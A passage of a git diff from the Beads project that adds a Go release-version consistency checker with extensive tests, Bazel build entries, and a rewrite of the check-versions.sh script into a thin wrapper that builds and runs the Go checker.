fmt.Errorf("parse JSON: %w", err) + } + if start != json.Delim('{') { + return nil, fmt.Errorf("parse JSON: top-level value must be an object") + } + + var ( + found bool + value json.RawMessage + ) + for decoder.More() { + keyToken, err := decoder.Token() + if err != nil { + return nil, fmt.Errorf("parse JSON: %w", err) + } + key, ok := keyToken.(string) + if !ok { + return nil, fmt.Errorf("parse JSON: object key must be a string") + } + var candidate json.RawMessage + if err := decoder.Decode(&candidate); err != nil { + return nil, fmt.Errorf("parse JSON: %w", err) + } + if key != field { + continue + } + if found { + return nil, fmt.Errorf("field .%s appears more than once", field) + } + found = true + value = candidate + } + if _, err := decoder.Token(); err != nil { + return nil, fmt.Errorf("parse JSON: %w", err) + } + var trailing json.RawMessage + if err := decoder.Decode(&trailing); err != io.EOF { + if err == nil { + return nil, fmt.Errorf("parse JSON: unexpected trailing value") + } + return nil, fmt.Errorf("parse JSON: %w", err) + } + if !found { + return nil, fmt.Errorf("field .%s not found", field) + } + return value, nil +} diff --git a/internal/versioncheck/check_test.go b/internal/versioncheck/check_test.go new file mode 100644 index 000000000..71c4564ba --- /dev/null +++ b/internal/versioncheck/check_test.go @@ -0,0 +1,650 @@ +package versioncheck + +import ( + "os" + "path/filepath" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/testutil/bazeltest" +) + +func TestRepositoryReleaseVersionsMatch(t *testing.T) { + root := bazeltest.RepoRoot(t) + report, err := Check(root) + if err != nil && !(bazeltest.IsBazel() && onlyNPMManifestUndeclared(t, root, report)) { + t.Fatalf("repository release metadata is inconsistent: %v", err) + } + if report.CheckedSources != 12 { + t.Fatalf("checked sources = %d, want 12", report.CheckedSources) + } + hookEntries, err := os.ReadDir(filepath.Join(root, ".githooks")) + if err != nil { + t.Fatal(err) + } + expectedHookMarkers := 0 + for _, entry := range hookEntries { + if strings.HasPrefix(entry.Name(), ".") { + continue + } + path := filepath.Join(root, ".githooks", entry.Name()) + info, statErr := os.Stat(path) + if statErr != nil { + t.Fatal(statErr) + } + if info.Mode().IsRegular() { + expectedHookMarkers += 2 + } + } + if report.CheckedHookMarkers != expectedHookMarkers { + t.Fatalf( + "checked hook markers = %d, want %d", + report.CheckedHookMarkers, + expectedHookMarkers, + ) + } + if len(report.Sources) != 13+expectedHookMarkers { + t.Fatalf( + "reported sources = %d, want %d (twelve release metadata checks, uv.lock, and tracked hook markers)", + len(report.Sources), + 13+expectedHookMarkers, + ) + } +} + +func TestCheckCoversEveryReleaseSource(t *testing.T) { + // Keyed by description: winres.json contributes several gated fields from + // a single path, so the path alone is no longer a unique key. + expected := map[string]string{ + "MCP pyproject.toml": "integrations/beads-mcp/pyproject.toml", + "MCP __init__.py": "integrations/beads-mcp/src/beads_mcp/__init__.py", + "Claude plugin.json": "plugins/beads/.claude-plugin/plugin.json", + "Codex plugin.json": "plugins/beads/.codex-plugin/plugin.json", + "Copilot plugin.json": "plugins/beads/.copilot-plugin/plugin.json", + "Claude marketplace.json": ".claude-plugin/marketplace.json", + "npm package.json": "npm-package/package.json", + "winres.json file_version": "cmd/bd/winres/winres.json", + "winres.json product_version": "cmd/bd/winres/winres.json", + "winres.json FileVersion": "cmd/bd/winres/winres.json", + "winres.json ProductVersion": "cmd/bd/winres/winres.json", + "manifest.xml assemblyIdentity version": "cmd/bd/winres/manifest.xml", + } + if len(releaseSources) != len(expected) { + t.Fatalf("release source count = %d, want %d", len(releaseSources), len(expected)) + } + + for _, item := range releaseSources { + path, ok := expected[item.description] + if !ok { + t.Fatalf("unexpected release source %q", item.description) + } + if item.path != path { + t.Fatalf( + "path for %q = %q, want %q", + item.description, + item.path, + path, + ) + } + delete(expected, item.description) + + t.Run(item.description, func(t *testing.T) { + root := writeFixture(t, "1.1.0") + path := filepath.Join(root, filepath.FromSlash(item.path)) + content, err := os.ReadFile(path) + if err != nil { + t.Fatal(err) + } + content = []byte(strings.ReplaceAll(string(content), "1.1.0", "9.9.9")) + if err := os.WriteFile(path, content, 0o644); err != nil { + t.Fatal(err) + } + + // The Windows surfaces derive a prerelease-stripped or four-part + // expectation, so the reported pair follows the source's own rule. + wantVersion := "1.1.0" + if item.expected != nil { + wantVersion = item.expected("1.1.0") + } + _, err = Check(root) + if err == nil { + t.Fatal("mismatch unexpectedly passed") + } + want := item.description + ": " + + strings.ReplaceAll(wantVersion, "1.1.0", "9.9.9") + + " (expected " + wantVersion + ")" + if !strings.Contains(err.Error(), want) { + t.Fatalf("error = %q, want %q", err, want) + } + }) + } + if len(expected) != 0 { + t.Fatalf("missing release sources: %v", expected) + } +} + +func TestCheckValidatesTrackedHookMarkerVersions(t *testing.T) { + tests := []struct { + name string + content string + want string + }{ + { + name: "begin mismatch", + content: "# --- BEGIN BEADS INTEGRATION v9.9.9 ---\n" + + "body\n# --- END BEADS INTEGRATION v1.1.0 ---\n", + want: ".githooks/pre-push BEGIN marker: 9.9.9 (expected 1.1.0)", + }, + { + name: "end mismatch", + content: "# --- BEGIN BEADS INTEGRATION v1.1.0 ---\n" + + "body\n# --- END BEADS INTEGRATION v9.9.9 ---\n", + want: ".githooks/pre-push END marker: 9.9.9 (expected 1.1.0)", + }, + { + name: "missing begin", + content: "body\n# --- END BEADS INTEGRATION v1.1.0 ---\n", + want: ".githooks/pre-push BEGIN marker: no 'BEGIN BEADS INTEGRATION' marker found", + }, + { + name: "missing end", + content: "# --- BEGIN BEADS INTEGRATION v1.1.0 ---\n" + + "body\n", + want: ".githooks/pre-push END marker: no 'END BEADS INTEGRATION' marker found", + }, + } + + for _, test := range tests { + t.Run(test.name, func(t *testing.T) { + root := writeFixture(t, "1.1.0") + path := filepath.Join(root, ".githooks", "pre-push") + if err := os.WriteFile(path, []byte(test.content), 0o755); err != nil { + t.Fatal(err) + } + + _, err := Check(root) + if err == nil { + t.Fatal("invalid tracked hook marker unexpectedly passed") + } + if !strings.Contains(err.Error(), test.want) { + t.Fatalf("error = %q, want %q", err, test.want) + } + }) + } +} + +func TestCheckDiscoversAdditionalTrackedHookFiles(t *testing.T) { + root := writeFixture(t, "1.1.0") + path := filepath.Join(root, ".githooks", "post-merge") + if err := os.WriteFile( + path, + []byte( + "# --- BEGIN BEADS INTEGRATION v1.1.0 ---\n"+ + "body\n# --- END BEADS INTEGRATION v1.1.0 ---\n", + ), + 0o755, + ); err != nil { + t.Fatal(err) + } + + report, err := Check(root) + if err != nil { + t.Fatal(err) + } + if report.CheckedHookMarkers != 4 { + t.Fatalf("checked hook markers = %d, want 4", report.CheckedHookMarkers) + } + want := map[string]bool{ + ".githooks/post-merge BEGIN marker": false, + ".githooks/post-merge END marker": false, + } + for _, result := range report.Sources { + if _, ok := want[result.Description]; ok { + want[result.Description] = true + } + } + for description, found := range want { + if !found { + t.Fatalf("additional tracked hook result %q not reported", description) + } + } +} + +func TestCheckTreatsRepositoryRootAsLiteralPath(t *testing.T) { + root := filepath.Join(t.TempDir(), "[repo]") + writeFixtureAt(t, root, "1.1.0") + + report, err := Check(root) + if err != nil { + t.Fatal(err) + } + if report.CheckedHookMarkers != 2 { + t.Fatalf("checked hook markers = %d, want 2", report.CheckedHookMarkers) + } +} + +func TestCheckIgnoresDotfilesInTrackedHooks(t *testing.T) { + root := writeFixture(t, "1.1.0") + if err := os.WriteFile( + filepath.Join(root, ".githooks", ".DS_Store"), + []byte("not a managed hook\n"), + 0o644, + ); err != nil { + t.Fatal(err) + } + + report, err := Check(root) + if err != nil { + t.Fatal(err) + } + if report.CheckedHookMarkers != 2 { + t.Fatalf("checked hook markers = %d, want 2", report.CheckedHookMarkers) + } +} + +func TestCheckRejectsMissingMalformedOrAmbiguousMetadata(t *testing.T) { + tests := []struct { + name string + path string + data []byte + want string + }{ + { + name: "missing metadata", + path: "integrations/beads-mcp/src/beads_mcp/__init__.py", + data: nil, + want: "MCP __init__.py:", + }, + { + name: "duplicate project TOML field", + path: "integrations/beads-mcp/pyproject.toml", + data: []byte("[project]\nversion = \"1.1.0\"\nversion = \"1.1.0\"\n"), + want: "MCP pyproject.toml: parse TOML:", + }, + { + name: "version in wrong TOML table", + path: "integrations/beads-mcp/pyproject.toml", + data: []byte("[tool.example]\nversion = \"1.1.0\"\n"), + want: "MCP pyproject.toml: non-empty string field [project].version not found", + }, + { + name: "wrong-case TOML project table", + path: "integrations/beads-mcp/pyproject.toml", + data: []byte("[Project]\nversion = \"1.1.0\"\n"), + want: `MCP pyproject.toml: field [project] is ambiguous or uses non-exact casing: "Project"`, + }, + { + name: "wrong-case TOML version field", + path: "integrations/beads-mcp/pyproject.toml", + data: []byte("[project]\nVersion = \"1.1.0\"\n"), + want: `MCP pyproject.toml: field [project].version is ambiguous or uses non-exact casing: "Version"`, + }, + { + name: "case-alias TOML project tables", + path: "integrations/beads-mcp/pyproject.toml", + data: []byte( + "[project]\nversion = \"1.1.0\"\n" + + "[Project]\nversion = \"9.9.9\"\n", + ), + want: `MCP pyproject.toml: field [project] is ambiguous or uses non-exact casing: "Project", "project"`, + }, + { + name: "case-alias TOML version fields", + path: "integrations/beads-mcp/pyproject.toml", + data: []byte( + "[project]\nversion = \"1.1.0\"\nVersion = \"9.9.9\"\n", + ), + want: `MCP pyproject.toml: field [project].version is ambiguous or uses non-exact casing: "Version", "version"`, + }, + { + name: "nested Python assignment", + path: "integrations/beads-mcp/src/beads_mcp/__init__.py", + data: []byte("def f():\n __version__ = \"1.1.0\"\n"), + want: "MCP __init__.py: found 0 module-level __version__", + }, + { + name: "Python assignment inside multiline string", + path: "integrations/beads-mcp/src/beads_mcp/__init__.py", + data: []byte("payload = \"\"\"\n__version__ = \"1.1.0\"\n\"\"\"\n"), + want: "MCP __init__.py: found 0 module-level __version__", + }, + { + name: "malformed JSON", + path: "plugins/beads/.codex-plugin/plugin.json", + data: []byte("{"), + want: "Codex plugin.json: parse JSON:", + }, + { + name: "wrong-case JSON field", + path: "npm-package/package.json", + data: []byte(`{"Version":"1.1.0"}`), + want: "npm package.json: field .version not found", + }, + { + name: "duplicate JSON field", + path: "plugins/beads/.codex-plugin/plugin.json", + data: []byte(`{"version":"1.1.0","version":"1.1.0"}`), + want: "Codex plugin.json: field .version appears more than once", + }, + { + name: "trailing JSON document", + path: "npm-package/package.json", + data: []byte(`{"version":"1.1.0"} {}`), + want: "npm package.json: parse JSON: unexpected trailing value", + }, + { + name: "duplicate marketplace plugins field", + path: ".claude-plugin/marketplace.json", + data: []byte( + `{"plugins":[{"version":"1.1.0"}],"plugins":[{"version":"1.1.0"}]}`, + ), + want: "Claude marketplace.json: field .plugins appears more than once", + }, + { + name: "missing MCP lockfile", + path: "integrations/beads-mcp/uv.lock", + data: nil, + want: "MCP uv.lock (beads-mcp pin):", + }, + { + name: "duplicate MCP lock package", + path: "integrations/beads-mcp/uv.lock", + data: []byte( + "[[package]]\nname = \"beads-mcp\"\nversion = \"1.1.0\"\n" + + "[[package]]\nname = \"beads-mcp\"\nversion = \"1.1.0\"\n", + ), + want: "MCP uv.lock (beads-mcp pin): found 2 beads-mcp package entries, want exactly one", + }, + { + name: "wrong-case MCP lock name field", + path: "integrations/beads-mcp/uv.lock", + data: []byte("[[package]]\nName = \"beads-mcp\"\nversion = \"1.1.0\"\n"), + want: `MCP uv.lock (beads-mcp pin): field [[package]][0].name is ambiguous or uses non-exact casing: "Name"`, + }, + } + + for _, test := range tests { + t.Run(test.name, func(t *testing.T) { + root := writeFixture(t, "1.1.0") + path := filepath.Join(root, filepath.FromSlash(test.path)) + var err error + if test.data == nil { + err = os.Remove(path) + } else { + err = os.WriteFile(path, test.data, 0o644) + } + if err != nil { + t.Fatal(err) + } + + _, err = Check(root) + if err == nil { + t.Fatal("invalid metadata unexpectedly passed") + } + if !strings.Contains(err.Error(), test.want) { + t.Fatalf("error = %q, want %q", err, test.want) + } + }) + } +} + +func TestCheckValidatesUVLockVersion(t *testing.T) { + root := writeFixture(t, "1.1.0") + lockPath := filepath.Join(root, "integrations", "beads-mcp", "uv.lock") + if err := os.WriteFile( + lockPath, + []byte("[[package]]\nname = \"beads-mcp\"\nversion = \"9.9.9\"\n"), + 0o644, + ); err != nil { + t.Fatal(err) + } + _, err := Check(root) + if err == nil { + t.Fatal("stale MCP lock version unexpectedly passed") + } + if want := "MCP uv.lock (beads-mcp pin): 9.9.9 (expected 1.1.0)"; !strings.Contains(err.Error(), want) { + t.Fatalf("error = %q, want %q", err, want) + } + + root = writeFixture(t, "1.1.0-rc.1") + if _, err := Check(root); err != nil { + t.Fatalf("PEP 440-normalized release-candidate lock version failed: %v", err) + } +} + +func TestCheckUsesSemanticGoAndPythonScopes(t *testing.T) { + root := writeFixture(t, "1.1.0") + if err := os.WriteFile( + filepath.Join(root, "cmd", "bd", "version.go"), + []byte( + "package main\n\n"+ + "const text = `Version = \"1.1.0\"`\n"+ + "func f() { Version := \"1.1.0\"; _ = Version }\n", + ), + 0o644, + ); err != nil { + t.Fatal(err) + } + _, err := Check(root) + if err == nil { + t.Fatal("declaration-shaped text and local Go variable unexpectedly passed") + } + if !strings.Contains(err.Error(), "found 0 package-level Version string assignments") { + t.Fatalf("unexpected Go scope error: %v", err) + } + + root = writeFixture(t, "1.1.0") + if err := os.WriteFile( + filepath.Join(root, "integrations", "beads-mcp", "src", "beads_mcp", "__init__.py"), + []byte("__version__ = '1.1.0' # release version\n"), + 0o644, + ); err != nil { + t.Fatal(err) + } + if _, err := Check(root); err != nil { + t.Fatalf("module-level Python assignment with trailing comment failed: %v", err) + } +} + +func TestFindRootFromSubdirectory(t *testing.T) { + root := writeFixture(t, "1.1.0") + subdirectory := filepath.Join(root, "cmd", "bd", "nested") + if err := os.MkdirAll(subdirectory, 0o755); err != nil { + t.Fatal(err) + } + + got, found, err := FindRoot(subdirectory) + if err != nil { + t.Fatal(err) + } + want, err := filepath.EvalSymlinks(root) + if err != nil { + t.Fatal(err) + } + if !found || filepath.Clean(got) != filepath.Clean(want) { + t.Fatalf("FindRoot = (%q, %v), want canonical root (%q, true)", got, found, want) + } +} + +func TestFindRootResolvesAliasedStart(t *testing.T) { + root := writeFixture(t, "1.1.0") + realStart := filepath.Join(root, "cmd", "bd") + alias := filepath.Join(t.TempDir(), "beads-command") + if err := os.Symlink(realStart, alias); err != nil { + t.Skipf("directory symlinks are unavailable: %v", err) + } + + got, found, err := FindRoot(alias) + if err != nil { + t.Fatal(err) + } + if !found { + t.Fatal("aliased Beads subdirectory was not identified") + } + gotInfo, err := os.Stat(got) + if err != nil { + t.Fatal(err) + } + rootInfo, err := os.Stat(root) + if err != nil { + t.Fatal(err) + } + if !os.SameFile(gotInfo, rootInfo) { + t.Fatalf("FindRoot = %q, want directory identity %q", got, root) + } +} + +func TestFindRootFailsClosedForAmbiguousBeadsIdentity(t *testing.T) { + tests := []struct { + name string + goMod *string + want string + }{ + { + name: "missing go.mod", + want: "is missing go.mod", + }, + { + name: "malformed go.mod", + goMod: stringPointer("go 1.26\n"), + want: "module directive not found", + }, + { + name: "module text inside malformed directive block", + goMod: stringPointer( + "require (\nmodule github.com/steveyegge/beads\n)\n", + ), + want: "parse go.mod", + }, + { + name: "conflicting module", + goMod: stringPointer("module example.com/not-beads\n"), + want: `declares module "example.com/not-beads"`, + }, + } + for _, test := range tests { + t.Run(test.name, func(t *testing.T) { + root := writeFixture(t, "1.1.0") + goModPath := filepath.Join(root, "go.mod") + var err error + if test.goMod == nil { + err = os.Remove(goModPath) + } else { + err = os.WriteFile(goModPath, []byte(*test.goMod), 0o644) + } + if err != nil { + t.Fatal(err) + } + + _, found, err := FindRoot(filepath.Join(root, "cmd", "bd")) + if err == nil { + t.Fatal("ambiguous Beads identity unexpectedly passed") + } + if found { + t.Fatal("ambiguous Beads identity was reported as found") + } + if !strings.Contains(err.Error(), test.want) { + t.Fatalf("error = %q, want %q", err, test.want) + } + }) + } +} + +func TestFindRootLeavesUnrelatedModuleUnclaimed(t *testing.T) { + root := t.TempDir() + if err := os.WriteFile( + filepath.Join(root, "go.mod"), + []byte("module example.com/other\n"), + 0o644, + ); err != nil { + t.Fatal(err) + } + _, found, err := FindRoot(root) + if err != nil { + t.Fatal(err) + } + if found { + t.Fatal("unrelated module was identified as Beads") + } +} + +func writeFixture(t *testing.T, version string) string { + t.Helper() + + root := t.TempDir() + writeFixtureAt(t, root, version) + return root +} + +func writeFixtureAt(t *testing.T, root, version string) { + t.Helper() + + files := map[string]string{ + "go.mod": "module " + ModulePath + "\n\ngo 1.26\n", + "cmd/bd/version.go": "package main\n\nvar Version = \"" + version + "\"\n", + "scripts/update-versions.sh": "#!/bin/sh\n", + "integrations/beads-mcp/pyproject.toml": "[project]\nversion = \"" + + version + "\"\n", + "integrations/beads-mcp/src/beads_mcp/__init__.py": "__version__ = \"" + + version + "\"\n", + "plugins/beads/.claude-plugin/plugin.json": `{"version":"` + version + `"}`, + "plugins/beads/.codex-plugin/plugin.json": `{"version":"` + version + `"}`, + ".claude-plugin/marketplace.json": `{"plugins":[{"version":"` + + version + `"}]}`, + "npm-package/package.json": `{"version":"` + version + `"}`, + "plugins/beads/.copilot-plugin/plugin.json": `{"version":"` + version + `"}`, + "cmd/bd/winres/winres.json": `{"RT_VERSION":{"#1":{"0000":{` + + `"fixed":{"file_version":"` + baseVersion(version) + + `","product_version":"` + baseVersion(version) + `"},` + + `"info":{"0409":{"FileVersion":"` + version + + `","ProductVersion":"` + version + `"}}}}}}`, + "cmd/bd/winres/manifest.xml": "\n" + + "\n" + + " \n\n", + "integrations/beads-mcp/uv.lock": "version = 1\nrevision = 3\n\n" + + "[[package]]\nname = \"beads-mcp\"\nversion = \"" + + normalizePythonVersion(version) + "\"\n", + ".githooks/pre-push": "# --- BEGIN BEADS INTEGRATION v" + version + " ---\n" + + "body\n# --- END BEADS INTEGRATION v" + version + " ---\n", + } + for relativePath, content := range files { + path := filepath.Join(root, filepath.FromSlash(relativePath)) + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + t.Fatalf("create parent for %s: %v", relativePath, err) + } + if err := os.WriteFile(path, []byte(content), 0o644); err != nil { + t.Fatalf("write %s: %v", relativePath, err) + } + } +} + +func stringPointer(value string) *string { + return &value +} + +// onlyNPMManifestUndeclared reports, and logs, whether the npm manifest is the +// one failing release surface and it failed because it is absent. npm-package/ +// is in .bazelignore, so no target can declare npm-package/package.json as data +// and a Bazel run never sees it; `go test` checks it against the real checkout. +func onlyNPMManifestUndeclared(t *testing.T, root string, report Report) bool { + t.Helper() + if _, err := os.Stat(filepath.Join(root, "npm-package", "package.json")); !os.IsNotExist(err) { + return false + } + npmMissing := false + for _, source := range report.Sources { + switch { + case source.Problem == "": + case source.Description == "npm package.json": + npmMissing = true + default: + return false + } + } + if npmMissing { + t.Log("npm-package/ is in .bazelignore, so npm-package/package.json cannot be declared as data; checked under go test") + } + return npmMissing +} diff --git a/plugins/beads/BUILD.bazel b/plugins/beads/BUILD.bazel index 8bb02bd03..152264079 100644 --- a/plugins/beads/BUILD.bazel +++ b/plugins/beads/BUILD.bazel @@ -20,3 +20,14 @@ filegroup( ), visibility = ["//cmd/bd/setup:__pkg__"], ) + +# Plugin manifests gated by //internal/versioncheck's releaseSources table, +# aggregated into //:release_metadata_files. +exports_files( + [ + ".claude-plugin/plugin.json", + ".codex-plugin/plugin.json", + ".copilot-plugin/plugin.json", + ], + visibility = ["//:__pkg__"], +) diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index 0b88fc188..8aff57276 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -98,3 +98,10 @@ exports_files( ["ci/gofmt-bin.sh"], visibility = ["//scripts/prlintmake:__pkg__"], ) + +# The compatibility entrypoint whose exit-status contract +# //scripts/check-versions:check-versions_test drives. +exports_files( + ["check-versions.sh"], + visibility = ["//scripts/check-versions:__pkg__"], +) diff --git a/scripts/check-versions.sh b/scripts/check-versions.sh index 90b515d7e..f9dc39b5a 100755 --- a/scripts/check-versions.sh +++ b/scripts/check-versions.sh @@ -1,182 +1,29 @@ #!/bin/bash -# Check that all version files are in sync -# Run this before committing version bumps +# Compatibility entrypoint for the authoritative Go release-version checker. +# Run this before committing version bumps. -set -e +set -euo pipefail -RED='\033[0;31m' -GREEN='\033[0;32m' -NC='\033[0m' - -# Get the canonical version from version.go -CANONICAL=$(grep 'Version = ' cmd/bd/version.go | sed 's/.*"\(.*\)".*/\1/') - -if [ -z "$CANONICAL" ]; then - echo -e "${RED}❌ Could not read version from cmd/bd/version.go${NC}" - exit 1 +if ! command -v go >/dev/null 2>&1; then + echo "Release version checker unavailable: install Go and add it to PATH." >&2 + exit 127 fi -echo "Canonical version (from version.go): $CANONICAL" -echo "" +script_dir="$(CDPATH='' cd -- "$(dirname -- "$0")" && pwd)" +repo_root="$(cd "$script_dir/.." && pwd)" -MISMATCH=0 - -# Base (prerelease-stripped) form. The Windows PE numeric fields must be purely -# numeric, so they carry this rather than $CANONICAL. -BASE_VERSION="${CANONICAL%%-*}" - -check_expected() { - local _file=$1 - local version=$2 - local expected=$3 - local description=$4 - - if [ "$version" != "$expected" ]; then - echo -e "${RED}❌ $description: ${version:-missing} (expected $expected)${NC}" - MISMATCH=1 - else - echo -e "${GREEN}✓ $description: $version${NC}" - fi -} - -check_version() { - check_expected "$1" "$2" "$CANONICAL" "$3" -} - -# Check all version files -check_version "integrations/beads-mcp/pyproject.toml" \ - "$(grep '^version = ' integrations/beads-mcp/pyproject.toml 2>/dev/null | sed 's/.*"\(.*\)".*/\1/')" \ - "MCP pyproject.toml" - -check_version "integrations/beads-mcp/src/beads_mcp/__init__.py" \ - "$(grep '__version__ = ' integrations/beads-mcp/src/beads_mcp/__init__.py 2>/dev/null | sed 's/.*"\(.*\)".*/\1/')" \ - "MCP __init__.py" - -check_version "plugins/beads/.claude-plugin/plugin.json" \ - "$(jq -r '.version' plugins/beads/.claude-plugin/plugin.json 2>/dev/null)" \ - "Claude plugin.json" - -check_version "plugins/beads/.codex-plugin/plugin.json" \ - "$(jq -r '.version' plugins/beads/.codex-plugin/plugin.json 2>/dev/null)" \ - "Codex plugin.json" - -# update-versions.sh bumps this one too, but it was never gated here — so a -# drifted copilot manifest (the same drift class that carried stale .githooks -# markers through v1.2.0) would silently no-op the bump's old->new sed, pass -# this script, pass the pre-push hook and CI, and ship advertising the previous -# version. -check_version "plugins/beads/.copilot-plugin/plugin.json" \ - "$(jq -r '.version' plugins/beads/.copilot-plugin/plugin.json 2>/dev/null)" \ - "Copilot plugin.json" - -check_version ".claude-plugin/marketplace.json" \ - "$(jq -r '.plugins[0].version' .claude-plugin/marketplace.json 2>/dev/null)" \ - "Claude marketplace.json" - -check_version "npm-package/package.json" \ - "$(jq -r '.version' npm-package/package.json 2>/dev/null)" \ - "npm package.json" - -# The release workflow's MCP package gate runs `uv sync --locked`, so a stale -# lockfile fails the release only in the tag-triggered run — after the tag -# exists and can no longer be rewritten (this burned the v1.1.1 tag; v1.1.0 -# lost its first run the same way). Gate it here so the release-tag pre-push -# hook and CI refuse the stale lock before a tag exists. The pinned-version -# check is dependency-free; the fuller `uv lock --check` runs when uv is -# available and also catches dependency edits made without a relock. -# -# uv.lock records the PEP 440-normalized version (1.1.0-rc.1 → 1.1.0rc1), so -# normalize the canonical form before comparing. -LOCK_EXPECTED=$(printf '%s' "$CANONICAL" | sed -E 's/-rc\.?/rc/') -LOCK_VERSION=$(awk -F '"' '/^name = "beads-mcp"$/ { found=1; next } found && /^version = / { print $2; exit }' integrations/beads-mcp/uv.lock 2>/dev/null) -if [ "$LOCK_VERSION" != "$LOCK_EXPECTED" ]; then - echo -e "${RED}❌ MCP uv.lock (beads-mcp pin): ${LOCK_VERSION:-missing} (expected $LOCK_EXPECTED) — run: uv lock --directory integrations/beads-mcp${NC}" - MISMATCH=1 -else - echo -e "${GREEN}✓ MCP uv.lock (beads-mcp pin): $LOCK_VERSION${NC}" +cd "$repo_root" +if ! checker_dir="$(mktemp -d "${TMPDIR:-/tmp}/beads-check-versions.XXXXXX")"; then + echo "Release version checker unavailable: cannot create a temporary directory." >&2 + exit 127 fi - -if command -v uv >/dev/null 2>&1; then - if uv lock --check --directory integrations/beads-mcp >/dev/null 2>&1; then - echo -e "${GREEN}✓ MCP uv.lock: fresh (uv lock --check)${NC}" - else - echo -e "${RED}❌ MCP uv.lock: stale — run: uv lock --directory integrations/beads-mcp${NC}" - MISMATCH=1 - fi -fi - -# Tracked managed git-hook sections (.githooks/*): the BEGIN/END markers embed -# the binary Version, and TestTrackedManagedHookSectionsMatchGenerator holds -# them equal to the cmd/bd/hooks.go generator output. A version bump that skips -# them reddens main only after the push (that was the v1.2.0 bump), so gate the -# markers here. Marker version only — full body equality stays the test's job. -for hook in .githooks/*; do - [ -f "$hook" ] || continue - for prefix in "BEGIN" "END"; do - marker=$(grep -oE -- "--- $prefix BEADS INTEGRATION v[^ ]+ ---" "$hook" | head -1) - if [ -z "$marker" ]; then - echo -e "${RED}❌ $hook: no '$prefix BEADS INTEGRATION' marker found${NC}" - MISMATCH=1 - continue - fi - check_version "$hook" \ - "$(printf '%s' "$marker" | sed -E 's/.* v([^ ]+) ---/\1/')" \ - "$hook $prefix marker" - done -done - -# Windows PE resource metadata. gen-winres.sh re-derives winres.json's numeric -# fields from version.go at build time, so those self-heal — but -# manifest.xml's version is embedded verbatim with no -# backstop, and update-versions.sh rewrites both with a sed anchored on the OLD -# value, so a drifted file is a silent no-op. Gate them. -# -# The numeric fields (file_version/product_version, and the manifest's -# four-part version) must be purely numeric, so they carry the base version: -# for 1.1.0-rc.1 they read 1.1.0 while FileVersion/ProductVersion read the full -# prerelease string. -WINRES_JSON="cmd/bd/winres/winres.json" -for field in file_version product_version; do - check_expected "$WINRES_JSON" \ - "$(jq -r ".RT_VERSION.\"#1\".\"0000\".fixed.$field" "$WINRES_JSON" 2>/dev/null)" \ - "$BASE_VERSION" "winres.json $field" -done -for field in FileVersion ProductVersion; do - check_expected "$WINRES_JSON" \ - "$(jq -r ".RT_VERSION.\"#1\".\"0000\".info.\"0409\".$field" "$WINRES_JSON" 2>/dev/null)" \ - "$CANONICAL" "winres.json $field" -done - -# Anchor on line start: the XML declaration on line 1 also carries a -# version="1.0" attribute. -check_expected "cmd/bd/winres/manifest.xml" \ - "$(grep -oE '^[[:space:]]*version="[0-9][^"]*"' cmd/bd/winres/manifest.xml 2>/dev/null | head -1 | sed -E 's/.*"(.*)"/\1/')" \ - "$BASE_VERSION.0" "manifest.xml assemblyIdentity version" - -echo "" - -if [ $MISMATCH -eq 1 ]; then - echo -e "${RED}❌ Version mismatch detected!${NC}" - echo "" - echo "Note: re-running 'scripts/update-versions.sh $CANONICAL' will NOT fix" - echo "most of these. It derives the OLD version from cmd/bd/version.go, which" - echo "already reads $CANONICAL, so its old->new substitutions rewrite" - echo "$CANONICAL -> $CANONICAL and no-op on a file that drifted. Only the" - echo ".githooks markers (rewritten wholesale) and uv.lock (regenerated) heal" - echo "on a re-run." - echo "" - echo "Fix whichever applies:" - echo " • cmd/bd/version.go itself is wrong (you meant another version):" - echo " scripts/update-versions.sh " - echo " • one gated file drifted: edit that file to $CANONICAL and re-run" - echo " this script." - echo " • several drifted: set cmd/bd/version.go back to the previous" - echo " version, then scripts/update-versions.sh $CANONICAL to replay the" - echo " whole bump." - exit 1 -else - echo -e "${GREEN}✓ Version files in sync at: $CANONICAL${NC}" - echo " (Version files only — this script does not check docs. The docs" - echo " release line and docs/cli-docs.pin are manual release steps; see" - echo " RELEASING.md.)" +trap 'rm -rf -- "$checker_dir"' EXIT +# An explicit .exe name works on Unix and native Windows alike. +checker="$checker_dir/check-versions.exe" +if ! go build -tags=gms_pure_go -o "$checker" ./scripts/check-versions; then + echo "Release version checker unavailable: Go could not build it." >&2 + exit 127 fi +# Running the binary preserves usage status 2, validation status 1 and --expect +# mismatch status 3; go run collapses them to 1 and adds its own diagnostic. +"$checker" "$@" diff --git a/scripts/check-versions/BUILD.bazel b/scripts/check-versions/BUILD.bazel new file mode 100644 index 000000000..88c87eee2 --- /dev/null +++ b/scripts/check-versions/BUILD.bazel @@ -0,0 +1,45 @@ +load("@rules_go//go:def.bzl", "go_binary", "go_library", "go_test") + +go_library( + name = "check-versions_lib", + srcs = ["main.go"], + importpath = "github.com/steveyegge/beads/scripts/check-versions", + visibility = ["//visibility:private"], + deps = ["//internal/versioncheck"], +) + +go_binary( + name = "check-versions", + embed = [":check-versions_lib"], + visibility = ["//visibility:public"], +) + +# Tags: +# host-tools: pre_push_hook_test.go runs the tracked pre-push hook and the +# shell entrypoint under the host's /bin/bash, and the hook shells out to +# the host's git and coreutils. +# no-remote-exec: so it runs where that inventory is known (the developer +# machine or the CI runner) rather than on a farm worker. +# no-remote-cache: the action key does not cover the host's bash or tools, so +# a result from one host is neither uploaded for nor served to another. +go_test( + name = "check-versions_test", + srcs = [ + "main_test.go", + "pre_push_hook_test.go", + ], + data = [ + "//:release_metadata_files", + "//scripts:check-versions.sh", + ], + embed = [":check-versions_lib"], + tags = [ + "host-tools", + "no-remote-cache", + "no-remote-exec", + ], + deps = [ + "//internal/testutil/bazeltest", + "//internal/versioncheck", + ], +) diff --git a/scripts/check-versions/main.go b/scripts/check-versions/main.go new file mode 100644 index 000000000..48224e948 --- /dev/null +++ b/scripts/check-versions/main.go @@ -0,0 +1,158 @@ +// check-versions validates every released Beads version surface through the +// same Go authority used by bd preflight. +package main + +import ( + "flag" + "fmt" + "io" + "os" + + "github.com/steveyegge/beads/internal/versioncheck" +) + +func main() { + os.Exit(run(os.Args[1:], ".", os.Stdout, os.Stderr, versioncheck.CheckUVLockFreshness)) +} + +const ( + red = "\033[0;31m" + green = "\033[0;32m" + reset = "\033[0m" +) + +type expectedVersionValue struct { + value string + specified bool +} + +func (value *expectedVersionValue) String() string { + return value.value +} + +func (value 